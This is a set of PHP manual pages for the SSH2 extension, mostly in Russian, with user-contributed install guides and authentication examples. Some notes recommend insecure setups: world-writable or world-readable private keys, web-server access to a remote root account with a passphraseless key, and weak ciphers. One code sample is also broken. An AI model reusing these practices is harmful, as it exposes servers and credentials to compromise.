1. Install your favorite PHP RPM packages.  Make sure that one of your favorite packages is pear, so pecl gets installed in-tow.

2. Find and install *RPMS* of libssh2 of a version >= 1.2, get both the base lib package (libssh2-1.2.*.rpm) and the devel package that includes headers (libssh2-devel-1.2.*.rpm) of the EXACT SAME VERSION.  Finding these packages took a few minutes of googling, and I invite an editor that has a trusted source for these to attach URLs as appropriate. (Yes, the version below is ancient)

# rpm -ivh libssh2-1.2.6-1.el5.rf.x86_64.rpm libssh2-devel-1.2.6-1.el5.rf.x86_64.rpm

3. Install the PHP module via pecl
# pecl install ssh2-0.12

4. Make PHP see the newly-installed extension
# echo "extension=ssh2.so" > /etc/php.d/ssh2.ini

5. Restart apache
zizifu at gmail dot com 28-Aug-2012 07:58
CentOS 6.2 64bit Installation Steps:

1. download the libssh2 package from http://libssh2.org, command as following:
tar vxzf libssh2-1.4.2.tar.gz
cd libssh2-1.4.2
./configure
make
make install

2. download the php-ssh2 package from http://pecl.php.net/package/ssh2:

tar vxzf ssh2-0.11.3
cd ssh2-0.11.3
phpize
./configure --with-ssh2
make
make install

and the ssh2.so file will copy into /usr/lib64/php/modules
check it.

3. modify the php.ini

vi /etc/php.ini

add the "extension=ssh2.so" to the extension part of php.ini

4. check the environment of php, use phpinfo();

5. enjoy
dreadwestern at gmail dot com 26-Jul-2012 02:47
Steps for installing the extension package on Debian systems:

> sudo apt-get install libssh2-php
> sudo /etc/init.d/apache2 restart
imedina at grosshat dot com 09-Dec-2010 02:09
Using PECL it must be specified the channel, since the beta version has to be choosen instead of stable one:

$ pecl install ssh2 channel://pecl.php.net/ssh2-version
chris at 3menandarecorder dot com 11-Sep-2008 12:28
To help someone avoid the headaches I did for a week. SSH2 functions have problems with the ssh2-beta & libssh2-0.18 even after patching with said patches on the internet.

ssh_exec will work fine
ssh2_shell will not work

In order to use ssh2_shell I had to roll back to libssh2-0.14 in order to get ssh2_shell function to work properly
arie dot mail at gmail dot com 10-Sep-2008 11:56
Just a little note: when compiling this package after modifying the ssh2.c, do not use pecl build as it will not create an ssh2.so file (although it says it succeeded), use:

phpize
./configure --with-ssh2
make

you then need to copy the ssh2.so file into your extension dir if it didn't do so already.


Типы ресурсов

Модуль определяет следующие типы ресурсов:

  • Сессия SSH2
  • Слушатель SSH2
  • SSH2 SFTP
  • Подсистема открытого ключа SSH2 (с ssh2 0.10)

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

SSH2_FINGERPRINT_MD5 (int)
Флаг для получения идентификатора сервера в виде хеш-суммы MD5 функцией ssh2_fingerprint().
SSH2_FINGERPRINT_SHA1 (int)
Флаг для получения идентификатора сервера в виде хеш-суммы SHA1 функцией ssh2_fingerprint().
SSH2_FINGERPRINT_HEX (int)
Флаг для получения идентификатора сервера функцией ssh2_fingerprint() в виде строки шестнадцатеричных символов.
SSH2_FINGERPRINT_RAW (int)
Флаг для получения идентификатора сервера функцией ssh2_fingerprint() в виде неотформатированной строки восьмибитных символов.
SSH2_TERM_UNIT_CHARS (int)
Флаг для функции ssh2_shell(), определяющий, что параметры width и height задаются в виде количества символов.
SSH2_TERM_UNIT_PIXELS (int)
Флаг для функции ssh2_shell(), определяющий, что параметры width и height задаются в пикселях.
SSH2_DEFAULT_TERM_WIDTH (int)
Принятое по умолчанию значение ширины окна терминала, принимаемое функцией ssh2_shell().
SSH2_DEFAULT_TERM_HEIGHT (int)
Принятое по умолчанию значение высоты окна терминала, принимаемое функцией ssh2_shell().
SSH2_DEFAULT_TERM_UNIT (int)
Принятая по умолчанию единица измерения значений ширины и высоты окна терминала, принимаемых функцией ssh2_shell().
SSH2_STREAM_STDIO (int)
Флаг функции ssh2_fetch_stream(), запрашивающей субканал STDIO.
SSH2_STREAM_STDERR (int)
Флаг функции ssh2_fetch_stream(), запрашивающей субканал STDERR.
SSH2_DEFAULT_TERMINAL (string)
Принятый по умолчанию тип терминала (например, vt102, ansi, xterm, vanilla), запрашиваемый функцией ssh2_shell().
SSH2_POLLIN (int)
SSH2_POLLEXT (int)
SSH2_POLLOUT (int)
SSH2_POLLERR (int)
SSH2_POLLHUP (int)
SSH2_POLLNVAL (int)
SSH2_POLL_SESSION_CLOSED (int)
SSH2_POLL_CHANNEL_CLOSED (int)
SSH2_POLL_LISTENER_CLOSED (int)

User Contributed Notes

There are no user contributed notes for this page.


Функции SSH2

Содержание

  • ssh2_auth_agent — Аутентификация через SSH с помощью агент ssh
  • ssh2_auth_hostbased_file — Аутентификация с использованием открытого ключа хоста
  • ssh2_auth_none — Аутентификация как "none"
  • ssh2_auth_password — Аутентификация через SSH с использованием обычного пароля
  • ssh2_auth_pubkey_file — Аутентификация с открытым ключом
  • ssh2_connect — Подключение к SSH-серверу
  • ssh2_disconnect — Закрыть соединение с удалённым сервером SSH
  • ssh2_exec — Выполнение команды на удалённом сервере
  • ssh2_fetch_stream — Получение расширенного потока данных
  • ssh2_fingerprint — Получение отпечатка удалённого сервера
  • ssh2_forward_accept — Принимает соединение, созданное слушателем
  • ssh2_forward_listen — Связывает порт на удалённом сервере и прослушивает соединения
  • ssh2_methods_negotiated — Возвращает список согласованных методов
  • ssh2_poll — Опрашивает каналы/слушателей/потоки на предмет событий
  • ssh2_publickey_add — Добавляет авторизованный открытый ключ
  • ssh2_publickey_init — Инициализирует подсистему открытого ключа
  • ssh2_publickey_list — Список уже авторизованных открытых ключей
  • ssh2_publickey_remove — Удаляет авторизованный открытый ключ
  • ssh2_scp_recv — Запрос файла через SCP
  • ssh2_scp_send — Отправка файла через SCP
  • ssh2_send_eof — Отправляет EOF в поток
  • ssh2_sftp_chmod — Изменение прав доступа
  • ssh2_sftp_lstat — Информация о символической ссылке
  • ssh2_sftp_mkdir — Создать директорию
  • ssh2_sftp_readlink — Возвращает объект по символической ссылке
  • ssh2_sftp_realpath — Определяет полный путь по предоставленной строке с путём
  • ssh2_sftp_rename — Переименовывает файл
  • ssh2_sftp_rmdir — Удаляет директорию
  • ssh2_sftp_stat — Информация о файле
  • ssh2_sftp_symlink — Создать символическую ссылку
  • ssh2_sftp_unlink — Удалить файл на сервере
  • ssh2_sftp — Инициализировать подсистему SFTP
  • ssh2_shell — Запрашивает интерактивный терминал
  • ssh2_tunnel — Открыть туннель через удалённый сервер

User Contributed Notes

shred 28-Nov-2017 12:36
Getting strange "Unable to open ssh2.sftp://Resource id #3/example.txt" errors? This is a bug in PHP > 5.6.27. Use intval() as a workaround to make ssh2 work again:

$sftp = ssh2_sftp($connection);
fopen("ssh2.sftp://" . intval($sftp) . "/example.txt", 'r');

https://bugs.php.net/bug.php?id=73597
dan at novapulsar dot com 25-Oct-2007 11:06
you will have an issue transferring any file using ssh2_scp_send unless you send a dummy file after your real file, or preferably issue an

ssh2_exec ($connection, 'exit');

I was transferring hundreds of thousands of files in my prototype across multiple servers, and noticed that each file had a mismatched md5 hash and bytelength.

after a bit of research i learnt that this was a bug, and added the code above as suggested at pecl.php.net in the bugs section.

hopefully this helps someone who is getting partial file transfer that could ruin your whole app.
aeolianmeson at blitzeclipse dot com 17-Aug-2007 12:00
Some installations of PHP 5 may have a problem starting the SSH2 extension as a Windows' service. It just started happening to me today, spontaneously. I have PHP 5.2.2 (and have tried 5.2.3), on Apache 2.0.59 .

It turns out that it's an Apache problem. Even though I was given an error message when starting it, it still worked perfectly from the CLI. So, I commented it out in the
INI file again, and am just loading it using extension_loaded('ssh2') and dl('php_ssh2.dll') from within the script.
astribuncio at gmail dot com 31-Aug-2006 10:17
Installing on HPUX 11.11 cookbook

Just follow the install instructions on the man page and solved the problems as they appear

- when making libssh2
Problem related with /lib/pa20_64 and 64 bits library in 32 bits link
Edited the configure file  and changed
SHLIB_LDFLAGS="-b +vnocompatwarnings -L/lib/pa20_64"
to
SHLIB_LDFLAGS="-b +vnocompatwarnings -L/lib"

-when executing phpize
Problems with aclocal, autom4ke and m4
Installed automake, autoconf and m4

-when ./configuring the ssh2
Configure: error: libssh2 version >= 0.4 not found
Edited the configure.m4 and removed the -ldl switch from line (as posted before)
39      -L$SSH2_DIR/lib -lm -ldl
runned phpize again and ./configure --with-ssh2
chris dot britton at cingular dot com 11-Aug-2006 06:11
I was building out the ssh2 extension (0.10) under OpenBSD 3.9 on sparc64 and I got this error when running configure:

checking for libssh2_banner_set in -lssh2... no
configure: error: libssh2 version >= 0.4 not found

I did some poking around in the configure file and traced the problem down.  The reason for the failure is that configure is trying to compile a test program with -ldl.  libdl is not installed on OpenBSD 3.9. The OpenBSD folks purged libdl years ago and I could not find a package that contains it.

(The error message above is misleading because the problem is not with libssh2.)

I looked at the ssh2 extension code and could not see a reason for using libdl, so I removed the -ldl from the config.m4 file.  Re-ran phpize and configure. No errors.  Did make and installed ssh2.so.  Works fine.
Mike <esnik8202 at sneakemail dot com> 26-Mar-2006 09:08
To list directory contents:

<?php
$connection = ssh2_connect(\"hostname\", 22);
ssh2_auth_password($connection,\"username\", \"password\");  // or use any of the ssh2_auth_* methods
$sftp = ssh2_sftp($connection);

$dh = opendir(\"ssh2.sftp://$sftp/path/to/dir/\");

while (($file = readdir($dh)) !== false) {
  echo \"$file is in hostname:/path/to/dir\\n\";
}

closedir($dh);
?>

(thanks to Sara for assisting)
dotwho at NSPM dot mac dot com 04-Oct-2005 03:15
Trying to compile this ssh PECL extension for Mac OS X (10.4.2)
with entropy.ch's php5 distribution? Read on: PART 2:

11) Check your shell's path variable by SHELL$ "echo $PATH".
If your php5 binary directory is not listed before the standard OS X binary directory,
update your $PATH variable to list it first. Mine reads:
/usr/local/mysql/bin/: /usr/local/php5/bin/: /bin:/sbin: /usr/bin:/usr/sbin
11a) if you do not do this step, the PECL extension will link against the old
php4 version that ships with Mac OS X. You will know this by the fact that the
next step lists a server API that is different than the output of phpinfo():
My version was 20041030, Apples version was 20020429.
12) Run: phpize && ./configure --with-ssh2 && make
This will produce a lot of output and probably some warnings. If you get a note
at the end that says "Build Complete", then the process has completed
(probably successfully). The command has produced the output file ssh2.so within
the ssh2-0.9 (or whatever version) directory.
13) Check where the extension directory is located at by running the following command:
SHELL$/usr/local/php5/bin/php-config --extension-dir
If it lists some directory that actually exists, copy the ssh2.so file to this directory.
If it doesn't list a location that exists, you can either create the location, or
choose a different location and update the line in your php.ini file:
extension_dir = "./"
to point to the directory you would like to use. I chose:
extension_dir = "/usr/local/php5/extensions/"?>
14) Add the line
extension=ssh2.so
to the Dynamic Extensions area of your php.ini file.
15) Restart your web server for the extensioin to be loaded. If there are any problems, they will be written to the webserver log.
16) Check if your new ssh based streams are available by running:
SHELL$ /usr/local/php5/bin/php -r "print_r(stream_get_wrappers());"
You should get something similar to this output:
Array
(
    [0] => php
    [1] => file
    [2] => http
    [3] => ftp
    [4] => compress.bzip2
    [5] => compress.zlib
    [6] => https
    [7] => ftps
    [8] => ssh2.shell
    [9] => ssh2.exec
    [10] => ssh2.tunnel
    [11] => ssh2.scp
    [12] => ssh2.sftp
)
You should now be able to do all the cool things you need to do with ssh
(like sftp scp ssh execution)! Take a look at some of the comment here for some
example scripts to test things out:
http://us2.php.net/manual/en/ref.ssh2.php

Good luck... hope that saves you my headache! :)
dotwho at NSPM dot mac dot com 04-Oct-2005 03:12
Trying to compile this ssh PECL extension for Mac OS X (10.4.2)
with entropy.ch's php5 distribution? Read on: PART 1:
1) Download libssh (I used version 0.11)
http://sourceforge.net/project/showfiles.php?group_id=125852
2) Unzip the directory and cd to the upacked directory in the terminal.
3) run: ./configure; make all install;
libssh should compile and place the output file in src/*.o
4) copy all headers from the include folder within the libssh2 directory to
/usr/local/include/
5) copy all compiled files (*.o) from the src folder within the libssh2
directory to /usr/local/lib/
6) Download ssh2
(I used version 0.9 with additional changes from cvs - explained below)
http://pecl.php.net/package/ssh2
7) unzip the downloaded archive.
8) version 0.9 has a conflict with an existing symbol used in some of the ZEND headers...
a change is available in cvs which renames the symbol in ssh2 to avoid the conflict
http://cvs.php.net/diff.php/pecl/ssh2/ssh2.c?r1=1.9&r2=1.10&ty=h
down load at least the 1.10 version of ssh2.c
if you decide to download a newer version, download any of the corresponding related files,
such as the php_ssh2.h header file.
9) replace the old version of ssh2.c with the new version of ssh2.c
(and any other files you downloaded).
10) From the terminal:
cd to the source directory (for me ssh2-0.9/ssh2-0.9/).

(Continued in a PART 2 comment)


Аутентификация через SSH с помощью агент ssh

  • « Функции SSH2
  • ssh2_auth_hostbased_file »
  • PHP Manual
  • Функции SSH2
  • Аутентификация через SSH с помощью агент ssh

ssh2_auth_agent

(PECL ssh2 >= 0.12)

ssh2_auth_agent — Аутентификация через SSH с помощью агент ssh

Описание

ssh2_auth_agent(resource $session, string $username): bool

Аутентификация через SSH с помощью ssh.

Замечание: Функция ssh2_auth_agent() доступна, только если модуль собран с библиотекой libssh >= 1.2.3.

Список параметров

session

Идентификатор соединения SSH, полученный из ssh2_connect().

username

Имя пользователя на удалённом сервере.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Аутентификация с помощью агента ssh

<?php
$connection = ssh2_connect('shell.example.com', 22);

if (ssh2_auth_agent($connection, 'username')) {
echo "Успешная аутентификация !\n";
} else {
die('Неудачная аутентификация...');
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Аутентификация с использованием открытого ключа хоста

  • « ssh2_auth_agent
  • ssh2_auth_none »
  • PHP Manual
  • Функции SSH2
  • Аутентификация с использованием открытого ключа хоста

ssh2_auth_hostbased_file

(PECL ssh2 >= 0.9.0)

ssh2_auth_hostbased_file — Аутентификация с использованием открытого ключа хоста

Описание

ssh2_auth_hostbased_file(
resource $session,
string $username,
string $hostname,
string $pubkeyfile,
string $privkeyfile,
string $passphrase = ?,
string $local_username = ?
): bool

Аутентификация с использованием открытого ключа хоста, сохранённого в файле.

Список параметров

session

Идентификатор соединения SSH, полученный из ssh2_connect().

username

hostname

pubkeyfile

privkeyfile

passphrase

Если privkeyfile зашифрован (как должен бы), необходимо предоставить кодовую фразу.

local_username

Если параметр local_username не задан, будет использовано значение из username.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Аутентификация по открытому ключу

<?php
$connection = ssh2_connect('shell.example.com', 22, array('hostkey'=>'ssh-rsa'));

if (ssh2_auth_hostbased_file($connection, 'remoteusername', 'myhost.example.com',
'/usr/local/etc/hostkey_rsa.pub',
'/usr/local/etc/hostkey_rsa', 'secret',
'localusername')) {
echo "Успешная Hostbased-аутентификация по открытому ключу\n";
} else {
die('Неудачная Hostbased-аутентификация по открытому ключу');
}
?>

Примечания

Замечание:

ssh2_auth_hostbased_file() требует libssh2 >= 0.7 и PHP/SSH2 >= 0.7

User Contributed Notes

There are no user contributed notes for this page.


Аутентификация как "none"

  • « ssh2_auth_hostbased_file
  • ssh2_auth_password »
  • PHP Manual
  • Функции SSH2
  • Аутентификация как "none"

ssh2_auth_none

(PECL ssh2 >= 0.9.0)

ssh2_auth_none — Аутентификация как "none"

Описание

ssh2_auth_none(resource $session, string $username): mixed

Попытка пройти аутентификацию как "none" обычно будет терпеть неудачу (и должна). Вместе с ошибкой эта функция возвратит список доступных методов аутентификации.

Список параметров

session

Идентификатор соединения SSH, полученный из ssh2_connect().

username

Имя пользователя на удалённом сервере.

Возвращаемые значения

Возвращает true, если сервер принимает аутентификацию "none", либо массив доступных методов аутентификации.

Примеры

Пример #1 Извлечение списка доступных методов аутентификации

<?php
$connection = ssh2_connect('shell.example.com', 22);

$auth_methods = ssh2_auth_none($connection, 'user');

if (in_array('password', $auth_methods)) {
echo "Сервер поддерживает аутентификацию на основе пароля\n";
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Аутентификация через SSH с использованием обычного пароля

  • « ssh2_auth_none
  • ssh2_auth_pubkey_file »
  • PHP Manual
  • Функции SSH2
  • Аутентификация через SSH с использованием обычного пароля

ssh2_auth_password

(PECL ssh2 >= 0.9.0)

ssh2_auth_password — Аутентификация через SSH с использованием обычного пароля

Описание

ssh2_auth_password(resource $session, string $username, string $password): bool

Аутентификация через SSH с использованием обычного пароля. Начиная с версии 0.12 эта функция также поддерживает запрос пароля с клавиатуры.

Список параметров

session

Идентификатор соединения SSH, полученный из ssh2_connect().

username

Имя пользователя на удалённом сервере.

password

Пароль для username

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Аутентификация с паролем

<?php
$connection = ssh2_connect('shell.example.com', 22);

if (ssh2_auth_password($connection, 'username', 'secret')) {
echo "Успешная аутентификация!\n";
} else {
die('Неудачная аутентификация...');
}
?>

User Contributed Notes

sgchris at gmail dot com 29-Jun-2015 11:00
Please note that the function ssh2_auth_password raises PHP warning(!) on bad authentication. To avoid the warning, use the "silence" ("@") operator.

<?php
$ssh = ssh2_connect($host);
if (false === $ssh) {
    die('connection failed');
}

$auth = @ssh2_auth_password($ssh, $user, $password);
if (false === $auth) {
    die('authentication failed');
}
?>
wally at soggysoftware dot co dot uk 11-Apr-2007 03:09
This function is useful for authenticating website clients against local (or remote) Unix users.

I'd played around with Apache+PAM, various mod_auths and homebrewed shell programs and even NIS, but to authenticate a user against a Unix shadow file fundamentally requires root priviledges, so either your PHP script needs root or an external program needs it's sticky bit set.  Both of these have *serious* security implications.

Using SSH, the overhead is obviously going to be greater but you're trusting a root service that's been (and continues to be) really well tested.  Just try authing with SSH against localhost (or another host if you want).
noels01 at gmx dot net 29-Aug-2005 05:56
Do not try to authenticate or log in more than once on a ssh2 connection. It won't work. You'll need a new connection via ssh2_connect() which will result in a poor performance if you're doing several connects to the same server.


Аутентификация с открытым ключом

  • « ssh2_auth_password
  • ssh2_connect »
  • PHP Manual
  • Функции SSH2
  • Аутентификация с открытым ключом

ssh2_auth_pubkey_file

(PECL ssh2 >= 0.9.0)

ssh2_auth_pubkey_file — Аутентификация с открытым ключом

Описание

ssh2_auth_pubkey_file(
resource $session,
string $username,
string $pubkeyfile,
string $privkeyfile,
string $passphrase = ?
): bool

Аутентификация с открытым ключом, сохранённом в файле.

Список параметров

session

Идентификатор соединения SSH, полученный из ssh2_connect().

username

pubkeyfile

Открытый ключ в формате OpenSSH. Должен выглядеть примерно так:

ssh-rsa AAAAB3NzaC1yc2EAAA....NX6sqSnHA8= rsa-key-20121110

privkeyfile

passphrase

Если privkeyfile зашифрован (как должен бы), то необходимо предоставить passphrase.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Аутентификация с открытым ключом

<?php
$connection = ssh2_connect('shell.example.com', 22, array('hostkey'=>'ssh-rsa'));

if (ssh2_auth_pubkey_file($connection, 'username',
'/home/username/.ssh/id_rsa.pub',
'/home/username/.ssh/id_rsa', 'secret')) {
echo "Успешная аутентификация с открытым ключом\n";
} else {
die('Неудачная аутентификация с открытым ключом');
}
?>

Примечания

Замечание:

Основная библиотека libssh не поддерживает частичные аутентификации очень чисто. То есть, если вам нужно предоставить как открытый ключ, так и пароль, он будет выглядеть так, как если бы эта функция потерпела неудачу. В данном конкретном случае неудачный вызов может означать, что аутентификация не завершена. Вам нужно игнорировать это неудачное выполнение, продолжить работу и вызвать ssh2_auth_password() для завершения аутентификации.

User Contributed Notes

Aurelien Marchand 18-Mar-2022 03:46
The vendor we deal with requires the use of both password authentication AND a public/private key authentication.

After much pain and testing, this is what we did to make it work, bypassing the need to install phpseclib:

<?php

$server = "subdomain.example.com";
$username = "username";
$password = "password";
$path_to_public_key = "file.pub";
$path_to_private_key = "file.priv"; // critical: permissions must be 0600!!
$path_to_needed_file = "/path/to/file/needed.txt";

$ssh2 = ssh2_connect($server);
@ssh2_auth_pubkey_file($ssh2,$username,$path_to_public_key,$path_to_private_key); // this returns a warning but it is normal and can be ignored
ssh2_auth_password($ssh2,$username,$password);
$sftp = ssh2_sftp($ssh2);
$file = fopen("ssh2.sftp://" . intval($sftp). $path_to_needed_file,"r");
$content = fread($file,1024);
fclose($file);
ssh2_disconnect($ssh2);

echo $content;
?>
Christophe 02-Dec-2020 12:31
Users should be aware of bug 78661 https://bugs.php.net/bug.php?id=78661

As of december 2020, on some Linux distro, (debian 10 and ubuntu 20.04 at least), although the ssh daemon will accept the connection, the function ssh2_auth_pubkey_file stubbornly reports an error.

It took me hours to realise that my code was correct, but the function buggy. If you are hit by this bug, you may try https://www.php.net/ssh2_auth_password instead... If applicable.
miloslav dot hula at gmail dot com 30-Apr-2020 07:32
If you have a problem with an RSA key, check that private key file contents starts with:

-----BEGIN RSA PRIVATE KEY-----

and not with:

-----BEGIN OPENSSH PRIVATE KEY-----

The first one can be created by:

ssh-keygen -m PEM -t rsa -f mykey
mrpetovan at gmail dot com 22-Mar-2016 02:24
Beware of the tilde (~) in the key file paths, as they will trigger the following warning (on a debug build):

PHP Warning:  String is not zero-terminated (ZZZZZZZZZZZZZZZZZZ1wjj*=?<) (source: Zend/zend_execute.h:81) in Unknown on line 0

although the authentication will suceed.

<?php
    $ssh_conn = ssh2_connect('test.host.com', 22, array('hostkey' => 'ssh-rsa'));
    ssh2_auth_pubkey_file($ssh_conn, 'user', '~/.ssh/id_rsa.pub', '~/.ssh/id_rsa')
 ?>

The above code will throw the Warning.

<?php
    $ssh_conn = ssh2_connect('test.host.com', 22, array('hostkey' => 'ssh-rsa'));
    ssh2_auth_pubkey_file($ssh_conn, 'user', '/home/user/.ssh/id_rsa.pub', '/home/user/.ssh/id_rsa')
 ?>

The above code won't.

If you want to perform a dynamic replacement of the tilde, you can use posix_getpwuid (http://php.net/manual/en/function.posix-getpwuid.php)
nerak-spelled-backwards at modo dot coop 10-Jan-2013 05:49
This function has a known bug (https://bugs.php.net/bug.php?id=58573) under some Linux installations: you can't encrypt your private key if you've compiled libssh2 using libgcrypt.  According to the bug page, the solution is to rebuild libssh2 with OpenSSL.  (Or don't encrypt your private key, but that seems irresponsible somehow.)

This isn't a bug report -- the bug is apparently already being fixed -- but a note for others, because it took me at least an hour of Googling to realize the problem wasn't with my own code.
christian at cvj dot se 03-Jan-2012 04:21
On my linux debian server running php communicating with another linux debian server I had problems getting rsa to work. dsa worked out of the box. I got it to work by doing the following in terminal

* ssh-keygen -t rsa
.... PUBFILE
* ssh-keygen -f PUBFILE -e
OUTPUT

id_rsa.pub =
ssh-rsa OUTPUT [COMMENT]
max 16-Sep-2011 04:37
Well, you have to format the publickey with the following command:

# ssh-keygen -f id_rsa.pub -i
Output: "ssh-rsa <YOURKEYDATA>"

That worked fine for me.
anjo2 11-May-2011 08:49
rsa keys may don't work, using dsa keys are more compatible

Linux:
ssh-keygen -t dsa
cat ~/.ssh/id_dsa.pub >> ~/.ssh/authorized_keys
chmod 700 ~/.ssh/
chmod -R 600 ~/.ssh/*

PHP:
<?php
    $methods = array(
    'kex' => 'diffie-hellman-group1-sha1',
    'hostkey' => 'ssh-dss',
    'client_to_server' => array(
    'crypt' => '3des-cbc',
    'mac' => 'hmac-md5',
    'comp' => 'none'),
    'server_to_client' => array(
    'crypt' => '3des-cbc',
    'mac' => 'hmac-md5',
    'comp' => 'none'));
    $connect = ssh2_connect('127.0.0.1', 22, $methods);
    if(ssh2_auth_pubkey_file($connect, 'username', '~/.ssh/id_dsa.pub', '~/.ssh/id_dsa'))
    {
        echo "Public Key Authentication Successful\n";
    }
    else
    {
        echo "Public Key Authentication Failed\n";
    }
?>
deepakssn@gmailcom 19-May-2010 04:12
Setting up public key authentication:

1.  Login to the unix server you want to connect using putty.
2.  mkdir .ssh (there is a dot before ssh)
3.  cd .ssh
4.  ssh-keygen -t rsa mykey
5.  Enter passphrase as test
6.  ls -al -> you will find two files mykey , mykey.pub
7.  cat mykey.pub >>authorized_keys
8.  cat mykey
9.  Copy what you get on screen to notepad and save it as "c:\mykey" (within quotes)
10.  cat mykey.pub
11.  Copy what you get on screen to notepad and save it as "c:\mykey.pub" (within quotes)

<?php

function my_ssh_disconnect($reason, $message, $language)
{
  printf("Server disconnected with reason code [%d] and message: %s\n", $reason, $message);
}

//Open a connection forcing 3des-cbc when sending packets, any strength aes cipher when receiving packets, no compression in either direction, and Group1 key exchange.
$methods = array(
  'kex' => 'diffie-hellman-group1-sha1',
  'client_to_server' => array(
   'crypt' => 'aes256-cbc',
   'comp' => 'none',
   'mac' => 'hmac-sha1'),
  'server_to_client' => array(
   'crypt' => 'aes256-cbc',
   'comp' => 'none',
   'mac' => 'hmac-sha1'));

$callbacks = array('disconnect' => 'my_ssh_disconnect');

      // Function to run a command on the unix server

      function run_cmd($ssh_host, $user_name, $keyfilename, $ssh_command)
      {
          $connection = ssh2_connect($ssh_host, 22, $methods, $callbacks);
          if (!$connection) die('Connection failed');
          if (ssh2_auth_pubkey_file($connection, $user_name, $keyfilename.".pub", $keyfilename, 'test'))
          {
            echo "Public Key Authentication Successful as user: $user_name";
          }
          else
          {
            die('Public Key Authentication Failed');
          }

          $stream = ssh2_exec($connection, $ssh_command);
          $i=0;
          stream_set_blocking($stream, true);
          $line = stream_get_line($stream, 1024, "\n");
          while (!feof($stream))
          {
                  echo $line.' ';
                  $line = stream_get_line($stream, 1024, "\n");
                  $i++;
          }
          echo "Count : ".$i;
          flush();
          unset($stream);
      }

      function my_ssh_disconnect($reason, $message, $language)
      {
            printf("Server disconnected with reason code [%d] and message: %s\n",
            $reason, $message);
      }

      // Main Code

      $user_name = "USERID";
      $keydir = "c:\\";
      $search_string = 'needle';
      $keyfilename= $keydir.'mykey';
      $ssh_host = "foo.bar.com";
      $ssh_command = 'grep "'.$search_string.'" /haystack/*.log';
      run_cmd($ssh_host, $user_name, $keyfilename, $ssh_command);

      $ssh_command = 'ls -al';
      run_cmd($ssh_host, $user_name, $keyfilename, $ssh_command);
?>
gramo dot gnu at gmail dot com 29-Oct-2009 03:26
I had an anoyiing problem with this function, everytime I tried to make it run it responds with an

Authentication failed for <user> using public key

but when I try directly to connect to the server using
ssh <user>@<domain>
Things works fine...

After lots of intents I realize that local files were read protected from user apache (they were stored at /home/<user>/.ssh directory)

So, if you also have this problem, just make a new directory into a place where apache can read and place there the keys.

The whole thing I do is as follows (Linux & Apache both server and client):

First I create a directory where apache can read

mkdir ~/.newssh_keys
chmod 777 ~/.newssh_keys

(This is a security issue, so maybe you need to realize how to make it safer.)

Then I create keys into local server choosing ~/.newssh_keys/id_dsa as the file to save the key:

ssh-keygen -t dsa
...
Enter file in which to save the key (/home/<user>/.ssh/id_dsa): ~/.newssh_keys/id_dsa
...

Then I have to change permissions to private key
(This is a security issue, so maybe you need to realize how to make it safer.)

chmod 644 ~/.newssh_keys/id_dsa

I copy the public key into the server's .ssh directory
client$ scp id_dsa.pub <remoteuser>@<server_domain>:~/.ssh/

and then I connect myself to the server using traditional ssh in order to append the public key at the end of authorized_keys2 file

server$ cat ~/.ssh/id_dsa.pub >> ~/.ssh/authorized_keys2

and remove the public key in order to be clean
server$ rm ~/.ssh/id_dsa.pub

Finally I use this code into my php script

<?php
// This in order to be sure apache can read public key
// (remove this after debug)
$pub_key = file_get_contents('~/.newssh_keys/id_dsa.pub');
print "<pre>";
var_export($pub_key);
print "</pre>";

// This in order to check private one
// (remove this after debug)
$prv_key = file_get_contents('~/.newssh_keys/id_dsa');
print "<pre>";
var_export($prv_key);
print "</pre>";

// Finally the connection code
$connection = ssh2_connect('<server_domain>', 22, array('hostkey', 'ssh-dss'));
if (ssh2_auth_pubkey_file($connection, '<server_user>',
                          '~/.newssh_keys/id_dsa.pub',
                          '~/.newssh_keys/id_dsa')) {
  echo "Public Key Authentication Successful\n";
} else {
  echo "Public Key Authentication Failed";
}
?>
tekiedude at gmail dot com 31-Jul-2007 01:45
This is probably incredibly insecure but if you are in a closed environment, you can run it at your own risk.

I was trying to get ssh access from server A to server B but server A was running apache as 'apache' and
I needed files on server B that were owned by root. So I needed some way for the apache user to connect
to server B as root.  Here's what I did (both servers running linux - specifically CentOS4):

1. ssh-keygen -t rsa -f id_rsa  generate with no passphrase
2. append the id_rsa.pub file to server B /root/.ssh/authorized_keys2
3. copy the id_rsa and id_rsa.pub files to a directory like /var/www/.ssh/
(happens to be apache's home dir on CentOS)
4. chown -R apache.apache /var/www/.ssh

Then you can connect like this:
$connection = ssh2_connect($server,22,array('hostkey'=>'ssh-rsa'));
if (ssh2_auth_pubkey_file($connection,'root',
'/var/www/.ssh/id_rsa.pub',
'/var/www/.ssh/id_rsa')) {
echo "success!";
}
else
{
echo "no success :-(";
}


Подключение к SSH-серверу

  • « ssh2_auth_pubkey_file
  • ssh2_disconnect »
  • PHP Manual
  • Функции SSH2
  • Подключение к SSH-серверу

ssh2_connect

(PECL ssh2 >= 0.9.0)

ssh2_connect — Подключение к SSH-серверу

Описание

ssh2_connect(
string $host,
int $port = 22,
array $methods = ?,
array $callbacks = ?
): resource|false

Устанавливает соединение с сервером по SSH.

После соединения, пользователь должен проверить ключ сервера, используя функцию ssh2_fingerprint(), и после этого авторизоваться, используя пароль или открытый ключ.

Список параметров

host

port

methods

Параметр methods может быть ассоциативным массивом, содержащим до четырёх записей, перечисленных ниже.

Параметр methods может быть ассоциативным массивом, содержащим от одного до четырёх параметров
Индекс | Что обозначает | Допустимые значения*
kex | Список методов обмена ключами, разделённых запятой, в порядке предпочтения. | diffie-hellman-group1-sha1, diffie-hellman-group14-sha1, и diffie-hellman-group-exchange-sha1
hostkey | Список методов ключей хоста, разделённых запятой, в порядке предпочтения. | ssh-rsa и ssh-dss
client_to_server | Ассоциативный массив, содержащий настройки шифрования, сжатия и метода имитовставки ("message authentication code" или MAC) для сообщений, отправленных клиентом серверу.
